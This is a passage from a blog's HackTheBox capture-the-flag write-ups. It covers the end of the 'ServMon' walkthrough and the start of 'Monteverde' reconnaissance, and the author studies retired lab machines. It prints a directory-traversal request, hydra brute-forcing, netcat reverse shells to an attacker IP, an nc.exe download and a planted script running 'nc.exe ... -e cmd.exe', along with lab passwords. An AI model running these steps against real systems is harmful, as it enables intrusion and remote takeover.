SF:ml\r\nContent-Length:\x200\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n
SF:\r\n")%r(GetRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20tex
SF:t/html\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x
SF:20\r\n\r\n\xef\xbb\xbf<!DOCTYPE x20html\x20PUBLIC\x20\"-//W3C//DTD\x20X
SF:HTML\x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/D
SF:TD/xhtml1-transitional\.dtd\">
\r\n\r\n<html\x20xmlns=\"http: 1999="" sf:org="" www\.w3\.="" xhtml\"="">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\
SF:x20\x20\x20<script\x20type=\"text javascript\"="">\r\n\x20\x20\x20\x20\x20
SF:\x20\x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x2
SF:0\x20\x20\x20\r\n</script\x20type=\"text></head>\r\n<body>\r\n</body>\r\n\r\n")
SF:%r(HTTPOptions,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/htm
SF:l\r\nContent-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\
SF:n\r\n\xef\xbb\xbf<!DOCTYPE x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\
SF:x201\.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xh
SF:tml1-transitional\.dtd\">
\r\n\r\n<html\x20xmlns=\"http: 1="" sf:999="" www\.w3\.org="" xhtml\"="">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x
SF:20\x20<script\x20type=\"text javascript\"="">\r\n\x20\x20\x20\x20\x20\x20\
SF:x20\x20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20
SF:\x20\x20\r\n</script\x20type=\"text></head>\r\n<body>\r\n</body>\r\n\r\n")%r(RT
SF:SPRequest,1B4,"HTTP/1\.1\x20200\x20OK\r\nContent-type:\x20text/html\r\n
SF:Content-Length:\x20340\r\nConnection:\x20close\r\nAuthInfo:\x20\r\n\r\n
SF:\xef\xbb\xbf<!DOCTYPE x20html\x20PUBLIC\x20\"-//W3C//DTD\x20XHTML\x201\
SF:.0\x20Transitional//EN\"\x20\"http://www\.w3\.org/TR/xhtml1/DTD/xhtml1-
SF:transitional\.dtd\">
\r\n\r\n<html\x20xmlns=\"http: 1999="" sf:html\"="" www\.w3\.org="" x="">\r\n<head>\r\n\x20\x20\x20\x20<title></title>\r\n\x20\x20\x20\x2
SF:0<script\x20type=\"text javascript\"="">\r\n\x20\x20\x20\x20\x20\x20\x20\x
SF:20window\.location\.href\x20=\x20\"Pages/login\.htm\";\r\n\x20\x20\x20\
SF:x20\r\n</script\x20type=\"text></head>\r\n<body>\r\n</body>\r\n\r\n");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port8443-TCP:V=7.80%T=SSL%I=7%D=4/15%Time=5E96B39B%P=x86_64-pc-linux-gn
SF:u%r(GetRequest,E8,"HTTP/1\.1\x20302\r\nContent-Length:\x200\r\nLocation
SF::\x20/index\.html\r\n\r\n\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:\0\0\0\0\0\0\":{\"context\":\"ini://\${shared-path}/nsclient\.ini\",\"h
SF:as_changed\":false,\"type\":\"ini\"}}\]}\0\0\x20keyword\x20to\x20the\x2
SF:0message\x20you\x20can\x20use\x20two\x20syntaxes\x20either\x20\${")%r(H
SF:TTPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocumen
SF:t\x20not\x20found")%r(FourOhFourRequest,36,"HTTP/1\.1\x20404\r\nContent
SF:-Length:\x2018\r\n\r\nDocument\x20not\x20found")%r(RTSPRequest,36,"HTTP
SF:/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocument\x20not\x20found")
SF:%r(SIPOptions,36,"HTTP/1\.1\x20404\r\nContent-Length:\x2018\r\n\r\nDocu
SF:ment\x20not\x20found");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 15 03:14:06 2020 -- 1 IP address (1 host up) scanned in 577.24 seconds
</html\x20xmlns=\"http:></html\x20xmlns=\"http:></html\x20xmlns=\"http:></code></pre></div>
<h2>FTP</h2>
<p>Using firefox we can easily connect to the FTP service with an anonymous account.</p>
<p><img alt="Connecting to ftp" class="image-process-article-image" src="/media/2020.06/derivatives/article-image/servmon_01.png"/></p>
<p>We found two files:
* Users/Nadine/confidentiel.txt
* Users/Nathan/Notes to do.txt</p>
<p>The first one contain the following:</p>
<blockquote>
<p>Nathan,</p>
<p>I left your Passwords.txt file on your Desktop. Please remove this once you have edited it yourself and place it back into the secure folder.</p>
<p>Regards</p>
<p>Nadine</p>
</blockquote>
<p>The second on contain some TODO list:</p>
<div class="highlight"><pre><span></span><code>1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint
</code></pre></div>
<p>Therefore we know that there is a <code>Passwords.txt</code> file on Nathan's desktop and
that there is two web services : NSClient and NVMS.</p>
<h2>HTTP</h2>
<p>On port 80 we found the NVSM web services with an authentication form.</p>
<p><img alt="NVMS 1000 authentication form" class="image-process-article-image" src="/media/2020.06/derivatives/article-image/servmon_02.png"/></p>
<p>We look at the available exploit for NVMS and we found only one about a
directory traversal.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ searchsploit NVMS
--------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
--------------------------------------- ----------------------------------------
NVMS 1000 - Directory Traversal | exploits/hardware/webapps/47774.txt
OpenVms 5.3/6.2/7.x - UCX POP Server A | exploits/multiple/local/21856.txt
OpenVms 8.3 Finger Service - Stack Buf | exploits/multiple/dos/32193.txt
--------------------------------------- ----------------------------------------
Shellcodes: No Result
kali@kali:~$ cat /usr/share/exploitdb/exploits/hardware/webapps/47774.txt
# Title: NVMS-1000 - Directory Traversal
# Date: 2019-12-12
# Author: Numan Türle
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html
POC
---------
GET /../../../../../../../../../../../../windows/win.ini HTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Response
---------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
</code></pre></div>
<p>We fire up burp and make the same request as in the POC (changing the host
obviously). We got the <code>win.ini</code> file.</p>
<p>We then change our request to get the content of the <code>Passwords.txt</code> file on
Nathan's desktop which give us seven passwords.</p>
<div class="highlight"><pre><span></span><code>GET /../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt HTTP/1.1
Host: 10.10.10.184
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
HTTP/1.1 200 OK
Content-type: text/plain
Content-Length: 156
Connection: close
AuthInfo:
1nsp3ctTh3Way2Mars!
Th3r34r3To0M4nyTrait0r5!
B3WithM30r4ga1n5tMe
L1k3B1gBut7s@W0rk
0nly7h3y0unGWi11F0l10w
IfH3s4b0Utg0t0H1sH0me
Gr4etN3w5w17hMySk1Pa5$
</code></pre></div>
<p>We try this passwords against the NVMS authentication form but without success.</p>
<h2>SSH</h2>
<p>As there is other services, we try our seven password against the SSH service.
We have two users <code>nathan</code> and <code>nadine</code>. Using <code>hydra</code> we easily find the creds
for nadine's SSH account.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/pown/htb_servmon$ hydra -l nathan -P pass ssh://10.10.10.184
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-16 12:28:14
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking ssh://10.10.10.184:22/
1 of 1 target completed, 0 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-16 12:28:19
kali@kali:~/pown/htb_servmon$ hydra -l nadine -P pass ssh://10.10.10.184
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-04-16 12:28:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 7 tasks per 1 server, overall 7 tasks, 7 login tries (l:1/p:7), ~1 try per task
[DATA] attacking ssh://10.10.10.184:22/
[22][ssh] host: 10.10.10.184 login: nadine password: L1k3B1gBut7s@W0rk
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-04-16 12:28:35
</code></pre></div>
<p>We can the connect to the server using SSH and get the user flag.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/pown/htb_servmon$ ssh nadine@10.10.10.184
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.
nadine@SERVMON C:\Users\Nadine>type Desktop\user.txt
e9aa044247ca285bb777782d7b0cfdfd
</code></pre></div>
<h1>Root</h1>
<p>For the root part we need to exploit the NSClient on port 8443 as there is a
privilege escalation vulnerability.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ searchsploit NSclient
---------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
---------------------------------------------------- ----------------------------------------
NSClient++ 0.5.2.35 - Privilege Escalation | exploits/windows/local/46802.txt
---------------------------------------------------- ----------------------------------------
Shellcodes: No Result
kali@kali:~$ cat /usr/share/exploitdb/exploits/windows/local/46802.txt
Exploit Author: bzyo
Twitter: @bzyo_
Exploit Title: NSClient++ 0.5.2.35 - Privilege Escalation
Date: 05-05-19
Vulnerable Software: NSClient++ 0.5.2.35
Vendor Homepage: http://nsclient.org/
Version: 0.5.2.35
Software Link: http://nsclient.org/download/
Tested on: Windows 10 x64
Details:
When NSClient++ is installed with Web Server enabled, local low privilege users have the ability to read the web administator's password in cleartext from the configuration file. From here a user is able to login to the web server and make changes to the configuration file that is normally restricted.
The user is able to enable the modules to check external scripts and schedule those scripts to run. There doesn't seem to be restrictions on where the scripts are called from, so the user can create the script anywhere. Since the NSClient++ Service runs as Local System, these scheduled scripts run as that user and the low privilege user can gain privilege escalation. A reboot, as far as I can tell, is required to reload and read the changes to the web config.
Prerequisites:
To successfully exploit this vulnerability, an attacker must already have local access to a system running NSClient++ with Web Server enabled using a low privileged user account with the ability to reboot the system.
Exploit:
1. Grab web administrator password
- open c:\program files\nsclient++\nsclient.ini
or
- run the following that is instructed when you select forget password
C:\Program Files\NSClient++>nscp web -- password --display
Current password: SoSecret
2. Login and enable following modules including enable at startup and save configuration
- CheckExternalScripts
- Scheduler
3. Download nc.exe and evil.bat to c:\temp from attacking machine
@echo off
c:\temp\nc.exe 192.168.0.163 443 -e cmd.exe
4. Setup listener on attacking machine
nc -nlvvp 443
5. Add script foobar to call evil.bat and save settings
- Settings > External Scripts > Scripts
- Add New
- foobar
command = c:\temp\evil.bat
6. Add schedulede to call script every 1 minute and save settings
- Settings > Scheduler > Schedules
- Add new
- foobar
interval = 1m
command = foobar
7. Restart the computer and wait for the reverse shell on attacking machine
nc -nlvvp 443
listening on [any] 443 ...
connect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671
Microsoft Windows [Version 10.0.17134.753]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Program Files\NSClient++>whoami
whoami
nt authority\system
</code></pre></div>
<p>First of all we get the password for the NSClient and the content of
<code>nsclient.ini</code> in order to see the access restriction. The application is only
available from localhost.</p>
<div class="highlight"><pre><span></span><code>nadine@SERVMON C:\>cd "C:\Program Files\NSClient++"
nadine@SERVMON C:\Program Files\NSClient++>nscp web -- password --display
Current password: ew2x6SsGTxjRwXOT
nadine@SERVMON C:\Program Files\NSClient++>type nsclient.ini
´╗┐# If you want to fill this file with all available options run the following command:
# nscp settings --generate --add-defaults --load-all
# If you want to activate a module and bring in all its options use:
# nscp settings --activate-module <module name=""> --add-defaults
# For details run: nscp settings --help
; in flight - TODO
[/settings/default]
; Undocumented key
password = ew2x6SsGTxjRwXOT
; Undocumented key
allowed hosts = 127.0.0.1
<snip>
</snip></module></code></pre></div>
<p>Then we upload <code>nc.exe</code> from <code>/usr/share/windows-binaries</code> using a python simple
http server.</p>
<div class="highlight"><pre><span></span><code>nadine@SERVMON C:\Temp>curl http://10.10.14.200:8081/nc.exe -o nc.exe
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 59392 100 59392 0 0 59392 0 0:00:01 --:--:-- 0:00:01 264k
</code></pre></div>
<p>We know that the NSClient is only available from localhost. So we mount an SSH
tunnel (<code>-D</code> option) and use it as a socks proxy in our browser. Nevertheless
the application is buggy and unstable from a web browser (either Firefox, Chromium or Chrome).</p>
<p>Therefore we use the <a href="https://docs.nsclient.org/api/">NSClient API</a> directly
from our SSH connection (or we can use <code>proxychains</code> with our SOCKS tunnel)
in order to put a simple script that will call our netcat binary.</p>
<div class="highlight"><pre><span></span><code>nadine@SERVMON C:\Temp>curl -s -k -u admin -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/me.bat --data-binary "C:\Temp\nc.exe 10.10.14.200 443 -e cmd.exe"
Enter host password for user 'admin':
Added me as scripts\me.bat
nadine@SERVMON C:\Temp>curl -s -k -u admin https://localhost:8443/api/v1/queries
Enter host password for user 'admin':
[{"description":"Check status of scheduled jobs.","metadata":{},"name":"check_tasksched","query_url":"https://localhost:8443/api/v1/queries/check_tasksched/","title":"check_tasksched"},{"description":"Legacy version of check_tasksched","m
etadata":{},"name":"checktasksched","query_url":"https://localhost:8443/api/v1/queries/checktasksched/","title":"CheckTaskSched"},{"description":"External script: scripts\\me.bat","metadata":{},"name":"me","query_url":"https://localhost:8
443/api/v1/queries/me/","title":"me"},{"description":"External script: scripts\\rvsh.bat","metadata":{},"name":"rvsh","query_url":"https://localhost:8443/api/v1/queries/rvsh/","title":"rvsh"}]
</code></pre></div>
<p>Then we run a listener on our box and at the same time we call our command. This
give a shell as administrator on the box and we are able to retrieve the root
flag.</p>
<div class="highlight"><pre><span></span><code>nadine@SERVMON C:\Temp>curl -s -k -u admin "https://localhost:8443/api/v1/queries/me/commands/execute?time=3m"
Enter host password for user 'admin':
kali@kali:~/pown/htb_servmon/srv$ sudo nc -l -p 443
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Program Files\NSClient++>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
f16c1d179c239f4ffe2ea0821759198b
</code></pre></div>
<h1>Wrapping up</h1>
<p>What a pain. The box was really unstable on public servers. At the end the box
is not really difficult.</p>HTB: Monteverde2020-06-15T09:00:00+02:002020-06-15T09:00:00+02:00maggicktag:maggick.fr,2020-06-15:/2020/06/htb-monteverde.html<p><img alt="Craft card" class="align-left" src="/media/2020.06/monteverde_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/223">Monteverde</a> published on
January the 11th 2020 by
<a href="https://www.hackthebox.com/home/users/profile/1190">egre55</a>.
This box is classified as a medium machine. The user part is quit direct and
easy and involve to enumerate a few basic services.
The root part was harder for me as it is based on a specific issue with Azure AD
and Password Hash Synchronisation.</p>
<p><img alt="Craft card" class="align-left" src="/media/2020.06/monteverde_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/223">Monteverde</a> published on
January the 11th 2020 by
<a href="https://www.hackthebox.com/home/users/profile/1190">egre55</a>.
This box is classified as a medium machine. The user part is quit direct and
easy and involve to enumerate a few basic services.
The root part was harder for me as it is based on a specific issue with Azure AD
and Password Hash Synchronisation.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. As often with MS Windows Box a lot of ports are
open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Sun Jan 12 08:35:35 2020 as: nmap -p- -sS -oN nmap_all 10.10.10.172
Nmap scan report for 10.10.10.172
Host is up (0.27s latency).
Not shown: 65516 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
49699/tcp open unknown
49768/tcp open unknown
# Nmap done at Sun Jan 12 08:47:28 2020 -- 1 IP address (1 host up) scanned in 712.82 seconds
</code></pre></div>
<p>We run a service scan on the open ports.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Sun Jan 12 08:58:05 2020 as: nmap -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49669,49670,49671,49699,49768 -sSV -oN nmap_sv 10.10.10.172
Nmap scan report for 10.10.10.172
Host is up (0.36s latency).
PORT STATE SERVICE VERSION
53/tcp open domain?
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-01-12 14:07:30Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
49768/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=1/12%Time=5E1B25FA%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 12 09:00:45 2020 -- 1 IP address (1 host up) scanned in 159.60 seconds
</code></pre></div>
<h2>Enum4linux</h2>
<p>We run <a href="https://github.com/CiscoCXSecurity/enum4linux">enum4linux</a> on the box.
We get a list of the box username:
* Guest
* mhope
* roleary
* SABatchJobs
* smorgan
* svc-ata
* svc-bexec
* svc-netapp</p>
<div class="highlight"><pre><span></span><code>perl enum4linux.pl 10.10.10.172
WARNING: polenum.py is not in your path. Check that package is installed and your PATH is sane.
Starting enum4linux v0.8.9 (https://github.com/CiscoCXSecurity/enum4linux) on Sun Jan 12 09:09:01 2020
==========================
| Target Information |
==========================
Target ........... 10.10.10.172
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
====================================================
| Enumerating Workgroup/Domain on 10.10.10.172 |
====================================================
[E] Can't find workgroup/domain
============================================
| Nbtstat Information for 10.10.10.172 |
============================================
Looking up status of 10.10.10.172
No reply from 10.10.10.172
=====================================
| Session Check on 10.10.10.172 |
=====================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 437.
[+] Server 10.10.10.172 allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 451.
[+] Got domain/workgroup name:
===========================================
| Getting domain SID for 10.10.10.172 |
===========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 359.
Domain Name: MEGABANK
Domain Sid: S-1-5-21-391775091-850290835-3566037492
[+] Host is part of a domain (not a workgroup)
======================================
| OS information on 10.10.10.172 |
======================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 458.
Use of uninitialized value $os_info in concatenation (.) or string at enum4linux.pl line 464.
[+] Got OS info for 10.10.10.172 from smbclient:
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 467.
[+] Got OS info for 10.10.10.172 from srvinfo:
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED
=============================
| Users on 10.10.10.172 |
=============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 866.
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null)
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 883.
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
=========================================
| Share Enumeration on 10.10.10.172 |
=========================================
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 640.
Sharename Type Comment
--------- ---- -------
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 10.10.10.172
====================================================
| Password Policy Information for 10.10.10.172 |
====================================================
[E] Dependent program "polenum.py" not present. Skipping this check. Download polenum from https://labs.portcullis.co.uk/tools/polenum/
==============================
| Groups on 10.10.10.172 |
==============================
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 542.
[+] Getting builtin groups:
group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]
group:[Incoming Forest Trust Builders] rid:[0x22d]
group:[Windows Authorization Access Group] rid:[0x230]
group:[Terminal Server License Servers] rid:[0x231]
group:[Users] rid:[0x221]
group:[Guests] rid:[0x222]
group:[Remote Desktop Users] rid:[0x22b]
group:[Network Configuration Operators] rid:[0x22c]
group:[Performance Monitor Users] rid:[0x22e]
group:[Performance Log Users] rid:[0x22f]
group:[Distributed COM Users] rid:[0x232]
group:[IIS_IUSRS] rid:[0x238]
group:[Cryptographic Operators] rid:[0x239]
group:[Event Log Readers] rid:[0x23d]
group:[Certificate Service DCOM Access] rid:[0x23e]
group:[RDS Remote Access Servers] rid:[0x23f]
group:[RDS Endpoint Servers] rid:[0x240]
group:[RDS Management Servers] rid:[0x241]
group:[Hyper-V Administrators] rid:[0x242]
group:[Access Control Assistance Operators] rid:[0x243]
group:[Remote Management Users] rid:[0x244]
group:[Storage Replica Administrators] rid:[0x246]
[+] Getting builtin group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Group 'IIS_IUSRS' (RID: 568) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Group 'Windows Authorization Access Group' (RID: 560) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Group 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Group 'Guests' (RID: 546) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Group 'Remote Management Users' (RID: 580) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Group 'Users' (RID: 545) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 542.
[+] Getting local groups:
group:[Cert Publishers] rid:[0x205]
group:[RAS and IAS Servers] rid:[0x229]
group:[Allowed RODC Password Replication Group] rid:[0x23b]
group:[Denied RODC Password Replication Group] rid:[0x23c]
group:[DnsAdmins] rid:[0x44d]
group:[SQLServer2005SQLBrowserUser$MONTEVERDE] rid:[0x44f]
group:[ADSyncAdmins] rid:[0x451]
group:[ADSyncOperators] rid:[0x452]
group:[ADSyncBrowse] rid:[0x453]
group:[ADSyncPasswordSet] rid:[0x454]
[+] Getting local group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Group 'ADSyncAdmins' (RID: 1105) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Group 'Denied RODC Password Replication Group' (RID: 572) has member: Couldn't lookup SIDs
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 574.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 593.
[+] Getting domain groups:
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[DnsUpdateProxy] rid:[0x44e]
group:[Azure Admins] rid:[0xa29]
group:[File Server Admins] rid:[0xa2e]
group:[Call Recording Admins] rid:[0xa2f]
group:[Reception] rid:[0xa30]
group:[Operations] rid:[0xa31]
group:[Trading] rid:[0xa32]
group:[HelpDesk] rid:[0xa33]
group:[Developers] rid:[0xa34]
[+] Getting domain group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Use of uninitialized value $global_workgroup in concatenation (.) or string at enum4linux.pl line 614.
Group 'Domain Users' (RID: 513) has member: MEGABANK\Administrator
